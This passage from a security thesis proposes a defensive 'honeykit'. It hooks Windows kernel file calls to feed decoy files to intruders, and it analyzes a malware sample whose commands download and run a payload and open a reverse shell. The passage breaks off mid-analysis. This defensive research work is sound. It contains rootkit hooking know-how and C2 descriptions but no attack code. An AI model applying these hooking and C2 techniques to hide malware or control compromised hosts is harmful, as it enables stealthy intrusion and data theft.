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ABSTRACT 
As computer network technology continues to grow, so does the reliance on this 
technology for everyday business functionality. To appeal to customers and employees 
alike, businesses are seeking an increased online presence, and to increase productivity 
the same businesses are computerizing their day-to-day operations. The combination of a 
publicly accessible interface to the businesses’ network, and the increase in the amount of 
intellectual property present on these networks presents serious risks. All of this 
intellectual property now faces constant attacks from a wide variety of malicious software 
that is intended to uncover company and government secrets. 
Every year, billions of dollars are invested in preventing and recovering from the 
introduction of malicious code into a system. However, there is little research being done 
on leveraging these attacks for counterintelligence opportunities. With the ever-
increasing number of vulnerable computers on the Internet, the task of attributing these 
attacks to an organization or a single person is a daunting one. This thesis will 
demonstrate the idea of intentionally running a piece of malicious code in a secure 
environment in order to gain counterintelligence on an attacker. 
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I. INTRODUCTION  
Every year there are millions, if not billions, of dollars invested in the analysis of 
malicious software (malware). Governments and Corporations alike research a wide 
variety of topics that include preventing malware from reaching systems, recognizing 
malware in the event that it reaches those systems, and recovering from an infection with 
the intention of mitigating any further damage. While these are all valid and necessary 
pursuits, there is very little progress being made in attributing an infection to a specific 
attacker or, at least, a specific organization. The attribution of an attack is admittedly a 
daunting task, and one that will become increasingly difficult as more inexperienced 
computer users place their vulnerable systems on the Internet. The presence of additional 
vulnerable systems has the potential to provide an attacker with a greater number of 
computers from which to launch their attacks. This thesis presents a new methodology in 
which an attacker is fed deceptive information with the purpose of gaining 
counterintelligence. In addition to protecting the valuable information stored on computer 
systems this methodology may lead to improved attribution of attacks. Along with a 
discussion of the new methodology this thesis will also provide a proof of concept of the 
methodology. 
As the price of a computer and an Internet connection continues to drop, the 
number of inexperienced computer users on the Internet continues to increase. According 
to Internet World Stats Internet usage across the world has grown 214% over the past 6 
years [1]. Many of these connections utilize broadband technology, which makes it easy 
for the user to be connected all of the time. All of these inexperienced users are ideal 
targets for hackers. Although operating system and application developers regularly put 
out patches to correct security flaws, and there are a number of anti-virus companies that 
offer products to identify malware and remove it from the computer, none of these 
companies can ensure that their products are used properly and updated regularly by the 
users. Even experienced users can fall victim to 0-day attacks and new variants of 
malware for which anti-virus programs have no signature. All of these circumstances 
result in a large number of vulnerable computers with constant Internet connections. In 
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the eyes of an attacker, the information on a personal computer is valuable as it may 
contain information such as credit card numbers, and passwords for bank accounts. 
Additionally, personal computers can offer an attacker an “anonymous” computer from 
which to launch additional attacks. 
With an increasing number of vulnerable personal computers, which allow for 
“anonymous” access to valuable systems, the task of identifying an attacker based on this 
access information is nearly impossible. The rise in vulnerable systems gives an attacker 
a larger number of places from which to launch an attack, as well as a greater number of 
computer systems to pass through before the attack is launched. Because each of these 
systems is an unattributable source, the tracking of an attacker becomes increasingly 
difficult.  In order to attempt to identify an attacker we must turn to other resources.  
The best opportunity for counterintelligence we have is the malware sample itself. 
Both static and dynamic analysis of a malware sample can give us information including 
an estimate of the attacker’s programming ability and their techniques for interacting with 
the malware. However, the most skilled attackers will attempt to remove all identifying 
information for their code, and make efforts to obscure their communication methods. In 
cases such as these, there are many times that an analyst is  able to deduce the skill level 
of the attacker, but little more, and an attacker may continue to operate without fear of 
being brought to justice. 
This thesis presents a new methodology for gaining intelligence on an attacker 
through the observation of the malware sample under active control. We propose that by 
observing multiple, time separated, interactions between an attacker and their malware 
we can obtain additional data that may lead to identifying the source of an attack. The 
immediate purpose of this thesis is to further develop this new methodology and explain 
its benefits, as well as provide methods that can be used to mitigate the inherent risks of 
letting a malware sample run under active control. The long-term purpose of this thesis is 
to generate an active discussion among those individuals in the malware community with 
an interest in tracking down the source of the malware. This discussion would serve to 
further develop the methods presented. The ultimate goal is to develop a commercial  
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product that allows a malware sample to securely run under active control. A proof of 
concept program is provided within this thesis and will be discussed in detail in the third 
chapter. 
Chapter II provides an overview of the field of malicious code analysis, the 
science and techniques of reverse engineering as they pertain to malware analysis, and 
the technology of rootkits. Chapter III details the component that was developed to 
control an active malware sample. Chapter IV presents the details of the selected malware 
sample and the development of its clients. Chapter V analyzes the effectiveness of the 
software developed in a number of different environments. Chapter VI offers concluding 
remarks and suggestions for future work in this field. The Appendix  contains all of the 
source code developed for the completion of this thesis. 
The reader is expected to have a general knowledge of computer networking, as 
well as an understanding of operating systems and the interaction between user and 
kernel space software components. 
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II. BACKGROUND 
A. MALICIOUS CODE ANALYSIS 
Malicious software (malware) analysis is a relatively new field of computer 
science that is constantly evolving in response to emergent threats. Although the field is 
growing quickly, there is only a small community of computer scientists who regularly 
analyze malicious code. Since it is a developing field there is limited documentation on 
the topic of malware analysis. What follows is the description of three well-defined 
aspects of this young field; dynamic analysis, static analysis and malicious code 
deobfuscation.  
1. Dynamic Analysis 
Dynamic analysis of malicious code refers to the technique of monitoring a 
sample’s interaction with the system that it is running on, as well as monitoring any 
network activity that it is generating [2]. This process involves intentionally infecting a 
computer with the malware sample and is typically performed only in a test environment. 
This test environment commonly utilizes virtual machines to create a safe, sand box in 
which the malware can run free.  
The use of virtual machines gives a malware analyst the ability to create an 
isolated computer network that is hosted completely within his or her machine. Virtual 
machines also give the analyst the ability to quickly save the current state of the machine 
and revert to this saved state. This feature is particularly valuable when analyzing 
malicious code as it allows the analyst to easily restore the machine to a non-infected 
state. There is currently a trend in more sophisticated malware to check for the presence 
of a virtual machine environment and alter its behavior in order to prevent this method of 
analysis. If the analyst were able to detect this behavior they would need to modify the 
malware executable to ignore the check, or if this is not possible, run the malware sample 
on dedicate hardware in a standalone network. This new trend could be seen as a sign of 
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the continuous battle between the attacker and the analyst, and believe that each will 
continue to overcome the other's advances in technology. 
After setting up their environment, the analyst then concentrates on capturing all 
of the interactions between the malware and the operating system. The interactions that 
analysts are most interested in include file system modifications, modifications to the 
system registry values, the creation of additional system processes, and the network 
traffic that is generated by the sample. These interactions are of interest to the analyst 
because they encompass the effect of the malware on the system. By understanding these 
interactions the analyst may be able to successfully remove the malware sample from the 
system and may better understand the damage that the malware may have caused.  
The interactions mentioned above can be monitored by a number of different 
tools; one common toolset used to monitor modifications to the host computer includes a 
suite of tools developed by Mark Russinovich and Bryce Cogswell named Windows 
Sysinternals [3].  The Sysinternals suite provides the analyst with the ability to monitor 
file and registry interactions as well as the processes running on the system. A network 
packet capture program such as Wireshark (formerly Ethereal) can be used to monitor the 
network traffic [4]. Wireshark, and other similar programs provide the analyst with the 
ability to analyze the malware’s communications protocol. 
Although dynamic analysis can provide a quick synopsis of a sample's capabilities 
in a time sensitive situation, there are a number of disadvantages to this method. The 
majority of the disadvantages revolve around the incomplete information that is garnered 
from this method of analysis. We do have the ability to identify all file system and 
registry interactions, however this is not an easy task and often requires sorting through 
large amounts of log data in order to isolate the sample’s interactions. To further 
complicate this process, attackers routinely name their malware processes using names 
that closely resemble or are identical to common operating system processes. 
Additionally, while we may be able obtain preliminary network connection information 




endpoints that implement the protocols that the malware is looking for, in the absence of 
an actual controller, we must resort to randomly guessing which commands the sample 
will accept. 
2. Static Analysis 
Static analysis of malicious code is a form of reverse engineering in which an 
analyst attempts to determine the full functionality of a malware sample without actually 
running the code under study. While this process can be significantly more time 
consuming and require advanced knowledge of programming languages (most commonly 
C and C++) and processor instruction sets (most commonly Intel x86) it also has a greater 
potential to provide a full functionality report. To give the reader a better understanding 
of the static analysis of malicious code we first give a brief overview of reverse 
engineering and then explain the specific challenges that a malware analyst may 
encounter. 
Reverse engineering as it applies to computer software is the art of taking the 
original source code, or raw binary executable and determining its complete functionality 
[2, 4]. This may still be a very difficult exercise. In the field of malware analysis it is 
extremely rare to have the source code for a sample.  We therefore concentrate on the 
process of reverse engineering a binary executable file.  
The first step in this process requires taking the seemingly random ones and zeros 
contained in the malware file and turning them into something slightly more readable. 
This process is done using advanced knowledge of the file format of the binary 
executable and the machine language codes  (op-codes) associated with the processor 
instructions. Luckily both of these aspects are static and well documented. This has 
allowed the development of a number of disassemblers, programs that translate the 0’s 
and 1’s into sequences of computer instructions readable by people.  The most commonly 
used dissassembler is Interactive Dissasmbler Pro (IDA Pro) developed by DataRescue 
[6]. IDA Pro comes preloaded with a large set of file format signatures, called loaders, 
and processor instruction sets, called modules. When a binary is loaded into IDA Pro the 
program attempts to identify the file format using each of the loaders, ultimately IDA 
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returns a file type suggestion and gives the user the final choice [5]. Once the file type 
has been determined, IDA Pro applies a specific loader and module that will turn the raw 
ones and zeros of the binary file into a more human readable format. After applying both 
the loader and the module to the file IDA Pro does some additional analysis that 
identifies the basic block structure of the program including subroutine identification.  
Further analysis recognizes data types based on the detection of commonly used library 
functions and knowledge of their parameter sequences and return types. 
Once the auto-analysis has finished the analyst is left to further identify the 
functionality of the executable. IDA Pro provides an interactive environment, that the 
analyst can use to assign names to internal program functions and variables, as well as 
define and apply common and user defined structures [5]. Intimate knowledge of the 
characteristics of both the higher-level programming language that the sample was 
written in and the compiler that was used to generate the executable is important in 
deducing the full functionality of the program. Fortunately, with the help of Application 
Programming Interface (API) documentation such as the MSDN library for developing C 
and C++ applications for the Windows operating system, Reverse Engineers do not have 
to memorize the details of each identified function [7]. Detailing the complete process of 
reverse engineering an executable is difficult because it differs among reverse engineers. 
A full description is beyond the scope of this paper. However, the main technique 
involves the use of function parameters to identify the type, value, and manipulations of 
locally defined variables. 
The primary goals of a malware analyst are to identify the effect of the malware 
on the infected system, understand any communications protocols enough to determine 
what information has been exfiltrated by the attacker, and/or find additional samples that 
have been downloaded to the machine. Dynamic analysis may improve an analyst’s 
knowledge of the executable and assist the static analysis, however, to fully understand 
each of the preceding elements of a malware sample, an analyst must perform some static 
analysis.   
Specific challenges to the malware analyst include obfuscation of the executable 
code, homegrown encryption, and communications protocols designed to avoid detection 
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through traffic analysis. With the exception of the obfuscation each of these challenges 
occur in both dynamic and static analysis. Encryption schemes, communications 
protocols and obfuscation techniques are constantly changing, making the automatic 
analysis of malicious code a significant challenge [8]. 
3. Malicious Code Deobfuscation 
Special software, generally referred to as a packer, is commonly used by attackers 
to bypass intrusion detection systems, avoid detection by anti-virus software, and make 
the reverse engineer’s job harder [8]. Packers such as UPX [9] and ASPACK [10], 
perform obfuscation through compression and/or encryption. Packers are designed to 
compress and encrypt executable files so they require less storage space on a hard drive, 
as well as protect the intellectual property of the code. The packing/obfuscation process 
begins with the compression or encryption of the software, and finishes by creating a 
“wrapper program” that “surrounds” the obfuscated product. When the complete package 
is executed on the target machine, the wrapper program decrypts the compressed program 
and then decompresses it before finally allowing the original software to execute. 
In addition to compression and encryption, a number of other anti-reverse 
engineering techniques are employed by sophisticated obfuscation schemes.  Such 
techniques are often implemented within the unpacking stub and attempt to identify 
whether or not the program is being run in a debugger or virtual environment. If the 
program is running in a debugger the unpacking stub may simply exit, or perform 
malicious actions on the computer that is being used to analyze the sample. 
Commonly referred to as “unpacking,” malicious code deobfuscation is the art of 
bringing a sample to a state in which it can be further analyzed using static analysis 
methods. An in-depth knowledge of malicious code deobfuscation is not necessary to 
understand the ideas presented in this thesis. 
B. ROOTKIT TECHNOLOGY 
Executables written to monitor and/or control the interaction between the user and 
the operating systems are commonly referred to as rootkits. The term rootkit often comes 
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with a negative connotation, as rootkits are commonly used by attackers to hide the 
presence of malicious software on an infected computer. However, rootkits can also be 
written with the intention of securing a system. In the field of computer security rootkits 
are studied so that they can be identified and removed from systems. The methodology 
described in this thesis shows how to turn the tables and use the technology of a rootkit to 
defend information present on a compromised system. The full functionality of the 
rootkit written for this thesis will be detailed in Chapter V, this section will provide the 
background information necessary to understand rootkit technology. 
As described by Greg Hoglund and James Butler in their book Rootkits: 
Subverting the Windows Kernel, “... a rootkit is a set of programs and code that allows a 
permanent or consistent, undetectable presence on a computer.” [11] While the primary 
goal of most rootkits is stealth, the technology also provides an attacker with the ability 
perform privileged tasks such as capture keystrokes and sniff packets sent across an 
entire network. The prefix “root” refers to the root user of a system, or the system user 
with highest privileges. In order for a rootkit to be loaded as a process the attacker must 
initially have root privileges. However, once the attacker has a program operating with 
root privileges they can place their rootkit in the system startup sequence. Such programs 
can then be run without any privilege restrictions, thus the attacker no longer needs to 
worry about the privilege level of the system user.  
Once the rootkit is loaded it has the ability to control the interactions between the 
computer user and the operating system’s kernel. The developer of the rootkit can now 
alter the view that the user has of the underling system. API hooking and runtime 
patching are the two examples of techniques used to hijack communication between the 
user and the kernel.  
The technique of API hooking involves developing a program that replaces a 
reference to a true system call or function call with an alternative function provided by an 
attacker, thus whenever a call to a "hooked" function is made, the programmer’s code 
runs rather than the operating system’s [11].   
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Runtime patching operates under the same principle, however, rather than 
replacing the reference to the operating system function the programmer actually changes 
the operating system’s function and reroutes the flow of this function to their code [11].  
Both methods manipulate the data that is being processed by the operating system 
function in order to paint a false picture to the user. While API hooking is easier to do, it 
is also easier to detect. The added stealth of runtime patching comes at the cost of an 
advanced understanding of the function or system call being modified and an advanced 
knowledge of the assembly code instruction set. 
The development and detection of rootkits requires advanced knowledge of 
interactions between “user space” and “kernel space.” Much like the MSDN library for 
user space API, Microsoft provides the Driver Development Kit (DDK) library [12], 
which details the API for interaction between user and kernel space. This development kit 
is published to give legitimate software and hardware developers the ability to interact 
with the kernel, but the information is also available to those with malicious intentions. 
An advanced knowledge of rootkit technology is not required to understand this thesis, 
but an understanding of the concepts described above will be helpful.   
 12
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III. ANTI-HACKER HONEYKIT VERSION 0 
This chapter presents an overview of the methodology that went into the 
development of the software, which has been named the “Anti-Hacker Honeykit.” The 
term honeykit reflects the combination of honeypot and rootkit technologies. The 
description will include details of two common attack types, and explain why this 
research pertains to only one of those types. Following the discussion of the 
methodology, a detailed description of the software that has been written for this thesis 
will be provided. When reading this chapter, the reader should be aware that the term 
honeykit is used to refer to the software written for this thesis. As will be evident 
throughout the chapter, this honeykit has no malicious intent. On the contrary, it is 
intended to protect proprietary information present on the machine on which it is 
operating. 
A. METHODOLOGY  
When the idea of actively running malicious code to gain counterintelligence on 
the attacker was first developed it was decided that protecting the exfiltration of files 
from the live system should be a primary interest. Monitoring the exfiltration of files 
from the system both secures proprietary information and gives significant 
counterintelligence on the attacker. By controlling what files an attacker receives from 
the compromised system it is also possible to provide them with false information. 
Observing an attackers reaction to this false information can provide further 
counterintelligence. 
A large number of attacks begin with an attacker dumping all of the files on a 
system to their local machine, which results substantial loss of valuable information. 
However, if the honeykit is running prior to the attack all of this valuable information is 
protected. Furthermore, since the “compromised” system is actually protected the 
malware implanted by the attacker can continue to run. If the attacker identifies 
interesting information the files that they have received they may come back with a more 
targeted file search. By observing this more targeted file search additional intelligence on 
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the attacker is obtained. Using this additional intelligence against the attacker, files 
containing false, but “interesting” information can be placed on the system for the 
attacker to find. In addition to being able to control an attacker through false information, 
each connection that the attacker makes has the potential to reveal information 
connecting the attacks to a source. 
At the very minimum each connection will provide an IP address, the time of the 
connection, the duration or the connection, and the attacker’s methods of searching for 
interesting files.  While a single IP address may not be enough to attribute an attack 
observing multiple connections, possibly from multiple IP addresses, provides the ability 
construct a view of the network that the attacker has the ability to control. The time and 
duration of a connection has the potential to reveal habits of the attacker, assuming that 
the attacker does not use regularly scheduled client software to search for interesting 
files. In addition, the duration of the attack could be used to determine the interest level 
of the attacker in the false information being provided. Finally, if the search methods of 
the attacker changed from connection to connection this could be imply that the malware 
sample is under the control of a number of attackers. 
The concept of a targeted attack was briefly mentioned in the preceding 
description. To further explain this concept, the two most common types of attack are 
discussed below. The discussion also explains the relation of each to the research that 
was done for this thesis. 
1. The “Botnet” Attack 
In a “Botnet” attack the attacker has no specific interest in the system. He or she 
is simply exploiting a vulnerability on a random system. The goal of this attack is to give 
the attacker control of the system so that he or she may use the system to send out spam 
mail or attack other systems anonymously. Although this system may be used to connect 
to another system from which the attacker will be exfiltrating information, we are not 
interested in these attacks. Allowing this type of malware to run on a system would be 
furthering the cause of the attacker, and we would be gaining little to no 
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counterintelligence information. In such an attack the best course of action would be to 
take the system offline until it is properly cleaned. 
2. The Targeted Attack 
In a targeted attack the attacker has a specific system, or network, in mind. The 
attacker has likely identified the system or network by its IP address range, or is targeting 
an inexperienced user with a malicious email link or attachment. Once the system is 
infiltrated the attacker searches the system for the files that they are interested in and 
downloads the files to their system. The attacker may then cover their tracks in an attempt 
to disguise the attack, and thus maintain access to the system and its files.  
This is the type of attack that we are specifically interested in, and the longer we 
are able to keep the attacker interested in the system the more counterintelligence we may 
be able to acquire. 
In order to keep the attacker interested, we must allow nearly full functionality of 
the malicious code running on the machine. This would include providing the attacker 
with the files that they are interested in. However, we clearly do not want the attacker 
removing any sensitive information from our system, or using the system as a launching 
point for other attacks. Historically we have been forced to take the machine offline until 
it has been completely cleaned [13], or hope that the attacker lands in a honeypot [14] (a 
system specifically placed in a network to be compromised, with no sensitive information 
present) and remains interested. However, with the development of the Anti-Hacker 
Honeykit we may be able to turn each targeted attack into an opportunity for 
counterintelligence. With the honeykit technology we are no longer forced to wait for an 
attacker to land in a honeypot. Instead the honeypot will be brought to the attacker, as the 
honeykit provides the ability to turn each system that an attacker compromises a 
honeypot. 
Admittedly, by allowing the malicious code to run, we walk a thin line between 
the exposure of information and the retrieval of counterintelligence. In order to 
comfortably run the sample, we must protect a number of common functions. These 
functions include, but are not limited to the exfiltration of files, the launch of further 
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attacks from the comprised system, the exportation of user keystrokes, and promiscuous 
network traffic sniffing. While all of these areas may lead to counterintelligence, as stated 
earlier, it is my belief that the file exfiltration provides the best opportunity for 
counterintelligence. Monitoring file exfiltration in a targeted attack provides a better idea 
of exactly what information an attacker is interested in, and what information needs to be 
provided to encourage future connections. Furthermore, the other functions offer too 
much risk for the reward that each could bring.  Rather than monitoring the data 
associated with these other aspects, I believe that we are best served by not allowing them 
to run. Ideally we would be able to run all aspects of the malware in order keep the 
attacker’s interest, but we must make compromises in the name of security. The initial 
development of the honeykit concentrates on securely monitoring and manipulating file 
exfiltration. 
B. HONEYKIT DEVELOPMENT 
1. Initial Approach 
When the decision was made to concentrate on exfiltration of files from a 
compromised system capturing incoming and outgoing network traffic seemed to be the 
best way to monitor file access. By analyzing this traffic all of the attacker's interaction 
with the malicious code could be monitored and files leaving the system could be 
replaced on their way out. However, intercepting and modifying the packets before they 
were sent out presented a more complex problem.  
The initial approach was to develop a rootkit to hook calls to the Microsoft Packet 
Scheduler, modify packets of interest and then return them to the queue. Early research 
showed little documentation on the interaction between the packet scheduler and the 
Window’s operating system. However, after reading Rootkits: A Guide to Subverting the 
Windows Kernel [11] a better option was revealed. Hooking calls to the Windows kernel 
functions that open files on the system and return a file other than the one requested, 
would achieve the desired result of replacing a protected file.  
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Hooking calls to these functions at the kernel level has the added bonus of 
avoiding any encryption that an attacker may have implemented to prevent detection. If 
we were to monitor requests for files at the packet level we would be forced to decrypt 
and re-encrypt each packet that is sent to and from the malware sample. Even if the 
malware sample were to implement a simple encryption scheme the honeykit would have 
to be customized deal with each malware infection. During the customization process the 
malware sample would either be running unprotected, or the system would be taken 
offline with the possible cost of losing the attacker. By hooking access at the file level the 
honeykit is able to run with no customization.  
The disadvantage of the hooking approach, whether it is at the packet level or the 
file access level, is that an attacker could design their own rootkit that would replace the 
calls hooked by the honeykit. A possible solution to this problem is discussed in the 
future work section of Chapter VI. More detail on the malicious code selected for the 
proof of concept will be provided in the fourth chapter, this chapter will concentrate on 
the explanation of the honeykit that was designed.  
After choosing a technology with the ability to protect the information contained 
in user files, the next step was to define a general methodology for using this technology 
to protect the files. It was decided that the best way to do this would be to create a 
configuration file, which would contain the full file path for all of the files that needed to 
be blocked. Given that rootkit technology also provides the ability to identify which 
process (computer program) is attempting to access the file, the decision was made to 
include a list of processes that were allowed to access the blocked files in the 
configuration file as well. The proceeding sections detail the functionality of the honeykit 
and explain exactly how and why the information in the configuration file is used. 
2. Start Up Functionality 
When loaded into memory the honeykit first attempts to load a configuration file 
named _rple_config.txt which is located in the c:\ directory. The configuration file is used 
so that the list of files that are blocked can be modified without the need to edit the source  
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code and recompile the honeykit. If the configuration file is found the program attempts 







Figure 1.   _rple_config.txt file format 
 
Each file listed in the configuration file should be listed using the full file path to 
allow for distinction between identical filenames in different directories. A number of 
checks are made to insure proper file format, failure to conform to the defined file format 
will result in the honeykit program exiting with an error status code. If the file is 
successfully parsed, all data that has been read in is stored in global variables and the 
honeykit proceeds to hook the Windows’s kernel calls for ZwCreateFile, ZwOpenFile, 
and ZwQueryDirectory. Each of these calls control the user’s access to files, their 
function will be described briefly in this chapter, for full documentation please refer to 
Microsoft’s DDK Library [12].  
In order to hook these functions we must first perform a lookup of the system 
service descriptor table, which contains the address of all Windows system calls, to find 
the current addresses of the calls to ZwCreateFile, ZwOpenFile, and ZwQueryDirectory. 
Once these addresses are known, we save the original addresses, and replace their entries 
in the service descriptor table with the addresses of our functions. This is the hooking 
process described in the initial approach section. By placing the addresses of the new 
function calls in the system service descriptor table we ensure that our functions will be 
called when a user attempts to open a file.  
num process names: [int: number of process names] 
[process name 1] 
[process name 2] 
... 
num process nums: [int: number of process numbers] 
[process number 1] 
[process number 2] 
.... 
num blocked files: [int: number of blocked files] 
[blocked filename 1] 
[blocked filename 2] 
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Although it may seem counter intuitive, the program controls both the 
ZwOpenFile call and the ZwCreateFile call. This is done because system processes 
commonly use the ZwCreateFile call, rather than the ZwOpenFile call to open files. The 
call to create a file takes an input argument named “CreateDisposition.” This input field 
specifies how the file is to be “created” [12]. One of the options for file “creation” is 
FILE_OPEN, which opens an existing file, and returns an error if the file does not exist 
[12]. In the context of this thesis, the ZwOpenFile call has the ability to open files, but is 
mainly included for functionality that will be described later in this chapter. The 
modifications to the ZwCreateFile, ZwOpenFile, and ZwQueryDirectory functions will 
now be discussed. The prefix “New” refers to the function as it was modified for the 
honeykit. 
3. NewZwCreateFile 
When any process attempts to open a file the NewZwCreateFile function will be 
called, with all of the parameters normally given to ZwCreateFile. The first thing that our 
honeykit must do is determine which userland process is calling the function. This was 
done utilizing code provided in tutorials found at www.rootkit.com [15]. The first step is 
to retrieve the PEPROCESS struct, which identifies the calling process, and then read the 
process ID field with in this struct. The position of this field within the structure differs in 
each version of Windows, and must be specified by the programmer. As a result, the 
honeykit is designed to work only with Windows XP. However, by modifying the 
specified offset within the source code, the same code can be used on a different version 
of the Windows operating system. After retrieving the process number, the process name 
is retrieved by calling the function GetProcessName provided in the tutorials [15].  
Equipped with the process identifying information, the honeykit program can now 
check the current process against its list of process names and numbers. Version 0 of the 
Anti-Hacker honeykit implements a policy that denies all programs not specifically 
allowed (whitelisting). By implementing this policy we are able to restrict the malware’s 
access to the blocked files without even knowing its name or process number. If the 
process identifying information matches that of an allowed process the NewZwCreateFile 
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function simply forwards the call to the original ZwCreateFile function. However, if there 
is no match found, the requested file is checked against the list of blocked files, by calling 
the function MyCheckFileName. The whitelisting property has the potential to allow an 
attacker to access to protected files by mimicking the process name of an allowed 
process. Placing the process number, rather than the process name, in the whitelist, can 
combat the technique, but this comes at the cost of knowing the process number before 
the loading of the rootkit.  
Each file request made by ZwCreateFile contains an ObjectAttributes structure, 
which, along with other identifying information, contains the filename being requested. 
This entire structure is passed to MyCheckFileName, which will return 0 if a blocked file 
name is matched, and non-zero if there is no match. If we find no match the original 
ZwCreateFile function is called. 
When a blocked file name is matched the file requested is replaced by a file that 
has been deemed OK to be released. This file should be of the same type as the file 
requested and, in order to keep the attacker interested, should at least be similar to the file 
requested. In the current version of the software the replacement file must be in the same 
directory and be named _rple_filename.fileextension, where filename and fileextension 
are identical to that of the requested file. Throughout the development process a number 
of file replacement methods were considered, this method was ultimately chosen as it 
provides a one-to-one mapping of blocked files to OK’ed files. This one-to-one mapping 
gives us the greatest chance of continuing to deceive an attacker. After the filename of 
the file requested is modified, the original ZwCreateFile is called and the handle to the 
OK’ed file is returned to the requesting program. 
4. NewZwOpenFile 
The NewZwOpenFile function, for the most part operates in the same way as the 
NewZwCreateFile function. It implements the same check and replace algorithm that is 
performed in NewZwCreateFile, with one minor addition. Initial analysis of the honeykit, 
detailed in Chapter V, showed that certain programs request files with the entire path, 
while others request files by asking solely for the file itself. These two differing forms of 
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making a request present difficulties for checking the requested file against blocked files. 
Fortunately, analysis showed that the processes, which supplied the filename rather than 
the entire path, also made a call to ZwOpenFile with the complete directory path just 
before the call to ZwCreateFile. By creating a global variable to hold the directory 
requested in the call to ZwOpenFile, the full path to the file requested could be 
reassembled in the subsequent ZwCreateFile call. In order to account for files with the 
same name existing in different directories, this reassembled full path is used to check 
against blocked file names. Further detail can be found in Chapter V. 
5. NewZwQueryDirectoryFile 
While not directly related to the monitoring of file exfiltration, the 
NewZwQueryDirectoryFile function was added after initial analysis. The standard 
Windows’ ZwQueryDirectoryFile accepts a directory name and returns the list of files in 
that directory. This is a function that is actually commonly modified by attackers to hide 
the presence of their files on the infected system. In the Anti-Hacker Honeykit we use the 
same methodology to hide the presence of the files that we use to replace blocked file 
exfiltration attempts. The code for this function was taken from the rootkit tutorials found 
at www.rootkit.com [15] and slightly modified to provide the desired functionality.  
The function of NewZwQueryDirectoryFile is slightly different than that of 
NewZwCreateFile and NewZwOpenFile. Both create-file and open-file perform their 
checks and modifications on the parameters passed to the function by the user and then 
pass the modified parameters to the original system call. The NewZwQueryDirectory 
function first performs the original system call and the return values are then checked and 
modified accordingly. The Anti-Hacker Honeykit calls the original 
ZwQueryDirectoryFile and then checks the return value for files beginning with “_rple_”.  
This check is done regardless of the requesting process, and as long as the 
“_rple_” tag is placed in front of each replacement file any user on the system, including 
the attacker, will never see these files.  
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It was originally decided to filter based on extension type, by appending “.rple” to 
each file, but quickly realized that this could possibly conflict with a known and 
necessary file type, so the decision was made to prefix the filename with the flag. 
In this chapter the methodology behind this research has been explained, and a 
functional description of the Anti-Hacker Honeykit was offered. The source code for the 
honeykit is supplied in the Appendix if the reader wishes to analyze its full functionality. 
The ability of an attacker to develop a rootkit of their own to replace the hooks of the 
honeykit was discussed. A possible solution to this will be discussed in the further work 
section of Chapter VI.   
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IV. MALWARE SAMPLE DETAILS  
This chapter will describe the search for an appropriate sample of malicious code 
and provide analysis of the sample that was chosen to use for the proof of concept. For 
the purpose of this thesis a sample was considered appropriate if it contained the ability 
to transfer files off of the local system, and had an easily analyzed client communications 
protocol. This study was restricted to these “simpler systems” because, in order to 
provide a general proof of concept a client would need to be written using information 
that was deduced from reverse engineering the malware sample. Furthermore, the ability 
of the honeykit to protect the files on the compromised system is independent of the 
complexity of the communications protocol used by the malware. The goal of this chapter 
is to provide the reader a better understanding of the malicious code sample that was used 
for the analysis of the effectiveness of the honeykit that was developed. 
A. INITIAL SAMPLE SELECTION 
The original methodology in selecting a malicious code sample was to search the 
site www.offensivecomputing.net for an appropriate sample [16]. Initially, visiting this 
site looked promising as it provided a large array of samples, however, the search 
capabilities on the site were significantly lacking. Eventually a few common samples 
were identified and the malware analysis began. Each of the downloaded samples was 
obfuscated using a packer. Some used simple, standard packing methods, while others 
used more complex and less documented packing algorithms. Of the common samples 
that were selected, those with simple packing algorithms were analyzed first. Ultimately, 
the unpacking and analysis was found to be a time consuming process, and there was no 
guarantee that the sample that was reversed would be an appropriate sample for the 
general proof of concept.  
Ultimately a sample that had already been analyzed by a Malware Analysis Group 
at the Naval Postgraduate School was chosen [17]. The sample that was selected provided 
a relatively simple communications protocol as well as two separate ways of accessing 
files on the system. As mentioned in Chapter III, because the honeykit is designed to 
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replace file requests on the lowest possible level, the complexity of the communications 
protocol has no effect on the success of the honeykit. All together this sample provided 
an ideal situation for analyzing the effectiveness of the honeykit. The operations 
implemented by this sample of malicious code were consistent with operations you would 
expect from an attacker attempting a targeted attack, as described in Chapter II. The two 
files detailed below provide different functionality, but are linked through a function of 
FILE0. 
B. FILE 0: SVCHOST_CLI.EXE 
This section will detail the first malicious file that was analyzed. The details of its 
startup procedure will be provided along with the commands that it accepts, and the 
connection sequence used to operate the command that was chosen to test the honeykit. 
Rather than referring to the file by its full name FILE0 or “sample” will be used when 
talking about svchost_cli.exe. 
FILE0 initially opens an Internet connection through a series of calls to the 
standard Windows API; it then performs a HTTP GET request for a specific file on a 
specific server, which is controlled by the attacker. The status code in response to this 
request is checked against the integer value 200, which indicates that the file was present 
on the server. After establishing that the page exists the sample then reads its content, and 
searches the resulting buffer for one of four different command strings, which can be 
located anywhere within the requested file. Each of the four commands performs a 
separate operation, as detailed below. 
1. !Owen 
The !Owen command simply seeds a random number generator with the current 
time, generates a random value, and sleeps for that number of seconds. 
2. !Mark 
The !Mark command is identical to the !Owen command. 
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3. !Fire 
The !Fire command generates a request for a separate file found on the same web 
server. This file is then saved on the compromised system in a file named Avpsvc.exe. 
FILE0 then proceeds to execute the downloaded file.  
This filename is most likely chosen to make the user of the compromised system 
believe that it is a program normally found on a Windows Operating System. Since the 
attacker has control over the contents of the file through the website it is not possible to 
predict the future contents of this file, we found that the file downloaded was an 
extension of the malware, which is detailed in the following section. 
4. !Conn 
The !Conn command opens a remote connection through which the attacker is 
able to explore and control the compromised system by issuing commands that will be 
executed on the local system. Through the arguments included with this command the 
attacker is also able to control the IP address and port to which this remote connection 
will be made. This function of FILE0 is most pertinent to this thesis as it allows the 
attacker to identify, modify and view system files.  
 
Having briefly explained the four main operations of the sample, the additional 
knowledge needed to communicate with the remote command shell spawned by the 
!Conn command will now be explained in more detail. Below is a figure detailing the 
communications involved in the !Conn connection. Each vertical line represents a 
computer, and the arrows represent communications between the computers. The remote 





Figure 2.   !Conn interaction 
 
The connection begins with the compromised computer asking the commanding 
website for the file default4.htm. In this case the attacker has chosen to issue the 
command !Conn. The IP and port number are used to tell the compromised computer 
exactly where the attacker is waiting for a connection. Having received this information 
the compromised machine attempts to make a connection to the attacker’s computer. If 
this connection is successful the compromised machine will now hold a conversation 
with the attacker on this machine. In order to avoid detection both the compromised 
machine and the attacker encrypt the data that they are sending back and forth. For the 
purpose of communicating with the malware sample the encryption scheme has been 
reverse engineered, however, because the exact details of the encryption are not 
necessary to understand the general communication sequence they will not be describe in 
this chapter.  
The first message that the compromised computer sends to the attacker tells the 
